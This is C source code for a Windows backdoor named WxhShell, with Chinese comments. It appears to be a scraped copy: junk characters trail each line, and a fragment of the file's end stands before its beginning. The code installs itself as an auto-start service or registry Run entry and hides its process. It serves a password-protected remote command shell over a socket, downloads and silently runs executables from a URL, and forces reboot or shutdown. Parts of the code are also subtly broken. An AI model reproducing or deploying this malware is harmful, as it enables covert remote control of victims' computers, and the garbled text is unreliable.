    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [d^ [Y:I'\  
    if(Boot(SHUTDOWN)) BdQ/kXZu+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LeT OVgjA|  
    else { vkgAI<  
    closesocket(wsh); 8EBy5X}US  
    ExitThread(0); =)Z~ w`  
    } 1>IA9]D7  
    break; (l ]_0-Z  
    } Ht_7:5v&   
  // 获取shell f(Uo?_as  
  case 's': { &s>E~M0+J  
    CmdShell(wsh); C >gC 99  
    closesocket(wsh); 8`GN8 F  
    ExitThread(0); *<"#1H/q  
    break; :5, k64'D  
  } __OH gp 1  
  // 退出 OS]FGD3a  
  case 'x': { =_:Mx'7  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C=zc6C,  
    CloseIt(wsh); id:6O+\  
    break; 59X'-fg,  
    } $z[r (a^a  
  // 离开 dZIruZ)x  
  case 'q': { ,\^RyHg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eX3|<Bf  
    closesocket(wsh); FNy-&{P2  
    WSACleanup(); U3OXO 1  
    exit(1); JuM4Njz|  
    break; l1uv]t <  
        } c)B <d#  
  } 7S.E,\Tws  
  } >uy(N  
&++tp5  
  // 提示信息 Fsi;[be$A  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h'|J$   
} ]7:*A7/!.  
  } GEbm$\  
0Ma3  
  return; 3`U^sr:[%  
} MNWuw;:v  
=}wqo6Bn|  
// shell模块句柄 mh" 9V5T  
int CmdShell(SOCKET sock) "^&Te%x_b  
{ _<m yM2z  
STARTUPINFO si; YX{c06BHs  
ZeroMemory(&si,sizeof(si)); dk[MT'DV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gv}J"anD  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Q8?:L<A  
PROCESS_INFORMATION ProcessInfo; ]!'9Y}9a  
char cmdline[]="cmd"; 1%Su~Z"W>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i{2ny$55h  
  return 0; w6<zPrA  
} kpLx?zW--q  
?v@pB>NZ  
// 自身启动模式 6 H' W]T&  
int StartFromService(void) rPXy(d1<`S  
{ \wM8I-f!  
typedef struct >))K%\p   
{ F*J@OY8i  
  DWORD ExitStatus; 9D,/SZ-v  
  DWORD PebBaseAddress; !63]t?QXMG  
  DWORD AffinityMask; ]aI   
  DWORD BasePriority; klxNGxWAX  
  ULONG UniqueProcessId; wq = Ef  
  ULONG InheritedFromUniqueProcessId; Xn # v!  
}   PROCESS_BASIC_INFORMATION; \?~cJMN  
5Zy%Nam'gN  
PROCNTQSIP NtQueryInformationProcess; Q~zs]{\  
=kDh:&u%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @;`d\lQ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^j *H  
.Hm1ispq  
  HANDLE             hProcess; b<\aJb{2  
  PROCESS_BASIC_INFORMATION pbi; X6G2$|  
4"d'iY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); R@A"U[*  
  if(NULL == hInst ) return 0; GFfZ TA  
(Q[(]dfc  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Mi:i1i cdn  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~jDf,a2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); $q 9dkt  
.~7:o.BE`n  
  if (!NtQueryInformationProcess) return 0; {N'<_%cu  
kX "*kD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a2SXg A  
  if(!hProcess) return 0; <Wa7$hF  
1g>>{ y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~U+W4%f8  
)JXy>q#  
  CloseHandle(hProcess); P&5kO;ia  
JL!:`#\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,KFF[z  
if(hProcess==NULL) return 0; |{9&!=/qf  
.M([n-  
HMODULE hMod; 4gh` >  
char procName[255]; @~C C$Y$  
unsigned long cbNeeded; 6L,"gF<n  
n0%5mTUN  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >?|c>HGX  
z6uHe{|  
  CloseHandle(hProcess); b:(t22m#?  
Hd89./v`:  
if(strstr(procName,"services")) return 1; // 以服务启动 ;X%8I$Ba,  
e {805^X}  
  return 0; // 注册表启动 k~IRds@G  
} 3='Kii=LA  
K8 Hj)$E61  
// 主模块 SdNxSD$Q  
int StartWxhshell(LPSTR lpCmdLine) ~'VVCtA  
{ S0H|:J  
  SOCKET wsl; 9O|k|FD  
BOOL val=TRUE; X]c>clk,  
  int port=0; K:54`UJ  
  struct sockaddr_in door; J!d=aGY0-  
_|wnmeL*  
  if(wscfg.ws_autoins) Install(); y,Z2`Zmu  
LX{mr{  
port=atoi(lpCmdLine); K96N{"{iI%  
#+(@i|!ifo  
if(port<=0) port=wscfg.ws_port; i0'g$  
oq[r+E-]$@  
  WSADATA data; 46gDoSS  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3v>w$6  
79Ur1-]/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !112u#V  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); P1dFoQz  
  door.sin_family = AF_INET; x\aCZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?$.x%G+  
  door.sin_port = htons(port); JQ9+kZ  
OXS.CFZM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7[:?VXQ  
closesocket(wsl); l._g[qa  
return 1; =4 NKXP~C  
} $J=`fx  
hCob^o  
  if(listen(wsl,2) == INVALID_SOCKET) { g"v6UZ\  
closesocket(wsl); _*-b0}T   
return 1; +zZ]Txb(  
} 5#mHWBGd7  
  Wxhshell(wsl); &Y1RPO41J  
  WSACleanup(); z-^/<u1p  
ta0;:o?/d  
return 0; qJ[wVNHh!  
`. 3{  
} ;E0x#JUrw  
: `,#z?Rk  
// 以NT服务方式启动  GjyTM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z[l_<`J$9  
{ ^f9>tI{  
DWORD   status = 0; V\=%u<f  
  DWORD   specificError = 0xfffffff; py$i{v%  
emIF{oP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g=jB'h?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; y(X^wC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zI CAV -&  
  serviceStatus.dwWin32ExitCode     = 0; Daq lL  
  serviceStatus.dwServiceSpecificExitCode = 0; \-D[C+1(  
  serviceStatus.dwCheckPoint       = 0; jJAr #|  
  serviceStatus.dwWaitHint       = 0; CEJqo8ds  
>=/DCQ$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0Ok[`r`  
  if (hServiceStatusHandle==0) return; 2]V8-  
X0]Se(  
status = GetLastError(); WF-^pfRq~  
  if (status!=NO_ERROR) I].ddR%  
{ BO0Y#fs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED;  K0Lc~n/  
    serviceStatus.dwCheckPoint       = 0; `d4;T|f+=  
    serviceStatus.dwWaitHint       = 0; 3`Dyrj#!  
    serviceStatus.dwWin32ExitCode     = status; *iV#_  
    serviceStatus.dwServiceSpecificExitCode = specificError; FpZ5@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +de5y]1H,|  
    return; 4iY <7l8  
  } Rp !Rzl<  
lL&p?MUp  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <7o@7r'0  
  serviceStatus.dwCheckPoint       = 0; WS"v"J%  
  serviceStatus.dwWaitHint       = 0; ,{d=<j_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h<i.Z7F;tj  
} 2=$ F*B>9  
)h1 `?q:5  
// 处理NT服务事件,比如:启动、停止 (zw.?ADPCT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tR(L>ZG{  
{ |WSm puf  
switch(fdwControl) ~*L@|?  
{ l"%WXi"X  
case SERVICE_CONTROL_STOP: 99~ZZG  
  serviceStatus.dwWin32ExitCode = 0; QB*n [(?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U["IXR#  
  serviceStatus.dwCheckPoint   = 0; j.:f =`xf  
  serviceStatus.dwWaitHint     = 0; 64D4*GQ  
  { pp()Hu3J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wrVR[v>E<  
  } syk,e4:oA  
  return; JqtOoR  
case SERVICE_CONTROL_PAUSE: 4F+G;'JV  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i}@5<&J  
  break; m}+_z^@j9  
case SERVICE_CONTROL_CONTINUE: lM.k *`$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Kir|in)r0  
  break; :@S=0|:j  
case SERVICE_CONTROL_INTERROGATE: tDtqTB}  
  break; j6Au<P  
}; 1~vv<`-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /Q'O]h0a  
} vqo ~?9z[e  
c+jnQM'  
// 标准应用程序主函数 i}>} %l|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Oyp)Wm;@  
{ }3R:7N`,|  
be'&tsZ9  
// 获取操作系统版本 $it>*%  
OsIsNt=GetOsVer(); gXB&Sgjo  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Y{L|ja%9?  
10*^  
  // 从命令行安装 wV'_{ /WM  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^ ?T,>ZI  
Q`UgtL  
  // 下载执行文件 Nrc-@ ]  
if(wscfg.ws_downexe) { >Vb V<ak  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;(IAhWE?7  
  WinExec(wscfg.ws_filenam,SW_HIDE);  =h}PL22  
} '>>@I~<\  
n;k B_i*l  
if(!OsIsNt) { I bE Nq  
// 如果时win9x,隐藏进程并且设置为注册表启动 w^/"j_p@  
HideProc(); ;h#CT#R2  
StartWxhshell(lpCmdLine); M \>5",0  
} `7'=~BP?X  
else [H>/N7v19*  
  if(StartFromService()) ,62BZyT,T,  
  // 以服务方式启动 a2H_8iQ!  
  StartServiceCtrlDispatcher(DispatchTable); !&o>zU.  
else =A; 79@bY  
  // 普通方式启动 j4h?"  
  StartWxhshell(lpCmdLine); K\$z,}0  
)`zfDio-1V  
return 0; sE0,b  
} AmcBu"  
"H}ae7@  
#DcK{|ty  
cQh=Mri]  
=========================================== s$VLVT*6  
op|x~Thf  
Do;rY\sY  
}j,G)\g#  
n7d`J_%s  
yj9 Ad*.  
" +ID% (:  
kYkck]|  
#include <stdio.h> u!cA_,  
#include <string.h> T\L LOx\  
#include <windows.h> e{d$OzT) V  
#include <winsock2.h> ;\t(c  
#include <winsvc.h> ni3A+Y0  
#include <urlmon.h> =Lr# *ep[  
r5&?-G  
#pragma comment (lib, "Ws2_32.lib") ="]y^&(L(  
#pragma comment (lib, "urlmon.lib") 9R4q^tGR\  
5<?/M<i  
#define MAX_USER   100 // 最大客户端连接数 ]BBjFs4#  
#define BUF_SOCK   200 // sock buffer {4b8s%:!4  
#define KEY_BUFF   255 // 输入 buffer <nn!9V\C   
RQ[6svfP  
#define REBOOT     0   // 重启 e6^iakSd.L  
#define SHUTDOWN   1   // 关机 uB 35CRd  
i%9xt1c_  
#define DEF_PORT   5000 // 监听端口 /f -\ 3  
JC4Z^/\.  
#define REG_LEN     16   // 注册表键长度 }C&kzJBEF  
#define SVC_LEN     80   // NT服务名长度 .gd'<l  
ZAMS;e+e  
// 从dll定义API F6)/Iiv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); DKqO5e\l8@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %:[Y/K-   
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BmFs6{>~c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n\H.NL)  
6-uB[$ko  
// wxhshell配置信息 F% K}&3  
struct WSCFG { gnU##Km|  
  int ws_port;         // 监听端口 +4k7ti1Qb  
  char ws_passstr[REG_LEN]; // 口令 q=cH ^`<.  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,?s: s&4  
  char ws_regname[REG_LEN]; // 注册表键名 >"+bL6#  
  char ws_svcname[REG_LEN]; // 服务名 <US!XMrCg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XJi^gT N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @0q*50  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l&v&a!EU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ZNG{:5u,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" x)o`w"]al  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ,]-A~^|  
{siIRl2&  
}; C@s;0-qL  
d<4q%y'X{  
// default Wxhshell configuration nD;8)VI'I  
struct WSCFG wscfg={DEF_PORT, fHwr6"DJ  
    "xuhuanlingzhe", \}mn"y  
    1, #me'1/z  
    "Wxhshell", p*(]8pDC  
    "Wxhshell", V .VV:`S  
            "WxhShell Service", Fs)m;C  
    "Wrsky Windows CmdShell Service", .=4k'99,  
    "Please Input Your Password: ", v"G)G)*z  
  1, d/`Q,Vl  
  "http://www.wrsky.com/wxhshell.exe", NI?YUhg>  
  "Wxhshell.exe" p=8?hI/bim  
    }; |#-GH$.v  
4 g^oy^~  
// 消息定义模块 }z8HS< #Q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; eLAhfG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~eHu +pv  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Se %"C&  
char *msg_ws_ext="\n\rExit."; ZtqN8$[6n  
char *msg_ws_end="\n\rQuit."; N b@zn0A(;  
char *msg_ws_boot="\n\rReboot..."; %QrpFE5 V5  
char *msg_ws_poff="\n\rShutdown..."; au 5qbP  
char *msg_ws_down="\n\rSave to "; ;p'Ej'E  
%{M&"Mv  
char *msg_ws_err="\n\rErr!"; :0RfA%  
char *msg_ws_ok="\n\rOK!"; U49 `!~b7  
+cnBEv~y  
char ExeFile[MAX_PATH]; RP4P"m(   
int nUser = 0; I<ta2<h  
HANDLE handles[MAX_USER]; sj0{;>>%+N  
int OsIsNt; 'w5g s}1D  
}H<87zH  
SERVICE_STATUS       serviceStatus; "kT?9&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; EAM2t|M G.  
YX:[],FP  
// 函数声明 Kwa$5qZI  
int Install(void); -Lbi eS%  
int Uninstall(void); B7!dp`rPp  
int DownloadFile(char *sURL, SOCKET wsh); w>ap8><4  
int Boot(int flag); !*l5%H  
void HideProc(void); Sx3R 2-!Z  
int GetOsVer(void); Z>zW83a  
int Wxhshell(SOCKET wsl); 1ti4 ZM  
void TalkWithClient(void *cs); OwM.N+ z#T  
int CmdShell(SOCKET sock); 1W +QcK4k  
int StartFromService(void); D/-$~u_o  
int StartWxhshell(LPSTR lpCmdLine); L H`z '7&/  
u$?t |Ll  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R3=]Av46  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Fxr$j\bm  
D27MT/=7  
// 数据结构和表定义 =Wj{J.7mf]  
SERVICE_TABLE_ENTRY DispatchTable[] = i+HHOT  
{ x<%V&<z1g  
{wscfg.ws_svcname, NTServiceMain}, IDpW5Dc  
{NULL, NULL} _Q1[t9P"  
}; MKN],l N  
9xm'0 '  
// 自我安装 d2e4=/ A%  
int Install(void) Zr.6J*&!  
{ `upxM0gc  
  char svExeFile[MAX_PATH]; <..|:0Q&~  
  HKEY key; 1v^eXvY  
  strcpy(svExeFile,ExeFile); \E<t'\>@X  
[10;Mg  
// 如果是win9x系统,修改注册表设为自启动 UI>?"b6 L  
if(!OsIsNt) { uY6|LTK&x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { APA:K9jD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;<=B I!  
  RegCloseKey(key); ~'9>jpnw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ev7fvz =  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .j)f'<;%  
  RegCloseKey(key); b:w {7  
  return 0; CgO&z<A!&  
    } M'4$z^@Z  
  } qJZ5w }  
} 7pY7iR_  
else { fmhqm"  
x)<Hr,wd  
// 如果是NT以上系统,安装为系统服务 R~R?0aq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h#>%\Pvt;  
if (schSCManager!=0) <) ` ?s  
{ Y([YDn  
  SC_HANDLE schService = CreateService .oNs8._:  
  ( h NCoX*icd  
  schSCManager, i!JVGs  
  wscfg.ws_svcname, \)Bws `  
  wscfg.ws_svcdisp, Mh+ym]6\(k  
  SERVICE_ALL_ACCESS, {yPiBu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GrB+Y!{{  
  SERVICE_AUTO_START, g}B|ZRz+{  
  SERVICE_ERROR_NORMAL, @m=xCg.Z  
  svExeFile, b&V}&9'[M;  
  NULL, I;<aJo6Yl  
  NULL, 2-<i#nA3  
  NULL, J~jR`2+r  
  NULL, %fyah}=  
  NULL /bd1Bi  
  ); LPNJuz  
  if (schService!=0) _K?{DnTb  
  { 2/c^3[ccR  
  CloseServiceHandle(schService); oe8sixZ[  
  CloseServiceHandle(schSCManager); L/VlmN_v>s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 18AKM  
  strcat(svExeFile,wscfg.ws_svcname); 6?3f+=e"~!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }sm PP*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Nn_n@K  
  RegCloseKey(key); nKzS2 u=:Y  
  return 0; x]Nk T  
    } |aT&rpt   
  } A80r@)i  
  CloseServiceHandle(schSCManager); 6jKZ.S+s)  
} GuV.7&!x  
} ,y+}0q-Ou  
b5MCOW1+  
return 1; \NEXtr`Th  
}  J(  
:|\{mo1NB  
// 自我卸载 <=D\Ckmb  
int Uninstall(void) 5)rMoYn25  
{ s5DEuu>g  
  HKEY key; V4PV@{G  
P)2.Gx/  
if(!OsIsNt) { )\bA'LuFy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9"=1 O  
  RegDeleteValue(key,wscfg.ws_regname); a&Stdh  
  RegCloseKey(key); $X9`~Sv _  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bk-veJR  
  RegDeleteValue(key,wscfg.ws_regname); TA.ugF)h  
  RegCloseKey(key); .^fVm  
  return 0; J m5).  
  } fR& ;E  
} 6,707h  
} '9+JaB  
else { }J~ d6m  
R<J1bH1n3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _7h:NLd  
if (schSCManager!=0) g8JO/s5xV  
{ <@DF0x!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O]>FNsh!  
  if (schService!=0) LovVJ^TD0i  
  { ^Lx(if WJ  
  if(DeleteService(schService)!=0) { ,co~@a@9  
  CloseServiceHandle(schService); &X^ -|7~N  
  CloseServiceHandle(schSCManager); /YP,Wfd%  
  return 0; BP&T|s  
  } ]5V=kNu i  
  CloseServiceHandle(schService); dOm@cs  
  } +ld]P}  
  CloseServiceHandle(schSCManager); yBJf'-K  
} 6%hr]>L  
} 7wivu*0  
Md4hd#z  
return 1; HinPO  
} m zh8<w?ns  
{<~oa+"  
// 从指定url下载文件 $S_xrrE#  
int DownloadFile(char *sURL, SOCKET wsh) M x/G^yO9  
{ :7,j%ELic  
  HRESULT hr; rjFIK`_w  
char seps[]= "/"; S~~G0GiW  
char *token; "~1{|lj|)  
char *file; Y ,Iv<Hg  
char myURL[MAX_PATH]; ^ZxT0oaL  
char myFILE[MAX_PATH]; e ej:  
lo1<t<w`  
strcpy(myURL,sURL); Z%Kkh2-uh  
  token=strtok(myURL,seps); _ (U|Kpi  
  while(token!=NULL) ^V1.Y  
  { \iBEyr]  
    file=token; K@JGGgrE`!  
  token=strtok(NULL,seps); kBh*@gf  
  } ~HFqAOr  
;;^OKrzWW  
GetCurrentDirectory(MAX_PATH,myFILE); >TB"Ez09  
strcat(myFILE, "\\"); G`/5=  
strcat(myFILE, file); kB2]Z}   
  send(wsh,myFILE,strlen(myFILE),0); P}2i[m.*,  
send(wsh,"...",3,0); 3 #8bG(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f: j9ze  
  if(hr==S_OK) G^G= .9O  
return 0; )p$a1\ ~m  
else I@$cw3  
return 1; '7oWN,-  
yHXQCWY{8;  
} }T)0:DF1,  
]^ e4coC  
// 系统电源模块 c Y C@@?  
int Boot(int flag) qG]G0|f  
{ $ ?HOke  
  HANDLE hToken; n A<#A  
  TOKEN_PRIVILEGES tkp; F}f/cG<X  
c'wxCqnE   
  if(OsIsNt) { Y<]A 5cm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .T>^bLuFy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X6T*?t3!9[  
    tkp.PrivilegeCount = 1; \>DMN #  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; R{3?`x!fY  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W Ai91K@  
if(flag==REBOOT) { d)R7#HLZ7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) CeZ+!-lG  
  return 0; S'h{["P~ 0  
} q':P9 o*N?  
else { =tKb7:KU  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (GeOD V?U  
  return 0; `kRv+Qwfa  
} + a,x  
  } }akF=/M  
  else { aqw;T\GI+~  
if(flag==REBOOT) {  )S8fFV  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l_ES $%d  
  return 0; 1ti9FQ  
} 2C@ui728  
else { !.EDQ1k  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [z2jR(+`U  
  return 0; ]c+HD*  
} z#( `H6n:  
} J)o =0i>*  
<`f~Z|/-_(  
return 1; oEuV&m|yX  
} :L6,=#  
ru#CywK{{;  
// win9x进程隐藏模块 7 {n>0@_  
void HideProc(void) @V7HxW7RX  
{ q-3e^-S*  
,ix>e  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .H33C@  
  if ( hKernel != NULL ) z'!sc"]W6  
  { Ec/-f `8  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o6v'`p '  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #cAX9LV  
    FreeLibrary(hKernel); ev LZ<|  
  } 0dKv%X#\  
7`G FtX}  
return; t0"2Si  
} b~u53   
Qp5YS  
// 获取操作系统版本 *#| lhf'  
int GetOsVer(void) VGVb3@  
{ ImG7E w  
  OSVERSIONINFO winfo; jgyXb5GY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); skeXsls  
  GetVersionEx(&winfo); H!81Pq~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) V49[XX  
  return 1; p(8[n^~,i  
  else "%?$BoJR0  
  return 0; S_|VlI  
} g{U?Y"  
1M<;}hJ{/  
// 客户端句柄模块 ~\QN.a   
int Wxhshell(SOCKET wsl) )/Mk\``j  
{ .!^}sp,E  
  SOCKET wsh; OngUZMgdb  
  struct sockaddr_in client; qJyGr ?  
  DWORD myID; "?f_U/+D<  
jg3 X6/'  
  while(nUser<MAX_USER) z7PmyU >  
{ q(n PI  
  int nSize=sizeof(client); 0+m4 }]6l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <W2 YG6^i  
  if(wsh==INVALID_SOCKET) return 1; dJf#j?\[  
OV+|j  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g4U`Qf3  
if(handles[nUser]==0) bPL.8hX   
  closesocket(wsh); U~l.%mui  
else dSkx*#FEE  
  nUser++; 9N*!C{VW  
  } -h`[w:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); iYR`|PJi  
7&>==|gt  
  return 0; !hc#il'g].  
} _]"uq/UWp  
q Xj]O3 mm  
// 关闭 socket >713H!uj  
void CloseIt(SOCKET wsh) 62Q`&n6  
{ ~ ~U,  
closesocket(wsh); !gX(Vh*k  
nUser--; DFvj  
ExitThread(0); D:DtP6  
} FC&841F  
}u&,;]  
// 客户端请求句柄 /8Xd2-  
void TalkWithClient(void *cs) ig}H7U2q@  
{ _2 Hehw  
YX,xC-37y  
  SOCKET wsh=(SOCKET)cs; mzH3Q564  
  char pwd[SVC_LEN]; :3 p&h[M  
  char cmd[KEY_BUFF]; @Z[XV"w|  
char chr[1]; k>W}9^ cK  
int i,j; & Do|Hw  
#}8 x  
  while (nUser < MAX_USER) { [`/d$V!e  
%;-r->  
if(wscfg.ws_passstr) { CWx_9b zk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gg+!e#-X  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ps&p|  
  //ZeroMemory(pwd,KEY_BUFF); *;!p#qL  
      i=0; c[zaYcbl  
  while(i<SVC_LEN) { &$<7]a\dM  
rd hM#?  
  // 设置超时 K=Y{iHn  
  fd_set FdRead; %}ASll0uq  
  struct timeval TimeOut; skzTw66W.  
  FD_ZERO(&FdRead); M?I^Od'8  
  FD_SET(wsh,&FdRead); 96 P3B}Dk  
  TimeOut.tv_sec=8; ;: 4PT~\*  
  TimeOut.tv_usec=0; Z0!yTM/C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $geDB~ 2>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q~#[_Upkc  
wU(N<9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _]q%Hve  
  pwd=chr[0]; =CGB}qU l0  
  if(chr[0]==0xd || chr[0]==0xa) { em, j>qp  
  pwd=0; ]<<+#Rg  
  break; > a"4aYj  
  } VU ,tCTXz  
  i++; ("T8mt[w>  
    } 6,j&u7  
Hr/3nq}.  
  // 如果是非法用户,关闭 socket AiOz1Er  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 68YJ@(iS  
} y>iote~  
^,,lo<d_L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); _ H$^m#h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NoD\t(@h  
OJTEvb6nPg  
while(1) { q%\rj?U_  
jdW#; ]7+y  
  ZeroMemory(cmd,KEY_BUFF); w829 8Kl  
^/_1y[j  
      // 自动支持客户端 telnet标准   .In8!hjYy4  
  j=0; $]I" ,ef  
  while(j<KEY_BUFF) { kp>AZVk  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q+)csgN  
  cmd[j]=chr[0]; ,W:Bh$%  
  if(chr[0]==0xa || chr[0]==0xd) { 1EcXvT=  
  cmd[j]=0; C Y K W4  
  break; =[x @BzH  
  } ptvM>zw'~g  
  j++; 9!UFLZR  
    } Zg2F%f$Y  
S)~Riuy$  
  // 下载文件 XJ9l, :c,  
  if(strstr(cmd,"http://")) { T*i rCe  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v.pj PBU1  
  if(DownloadFile(cmd,wsh)) *oP&'$P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); aVbv.>  
  else =sa bJsgL  
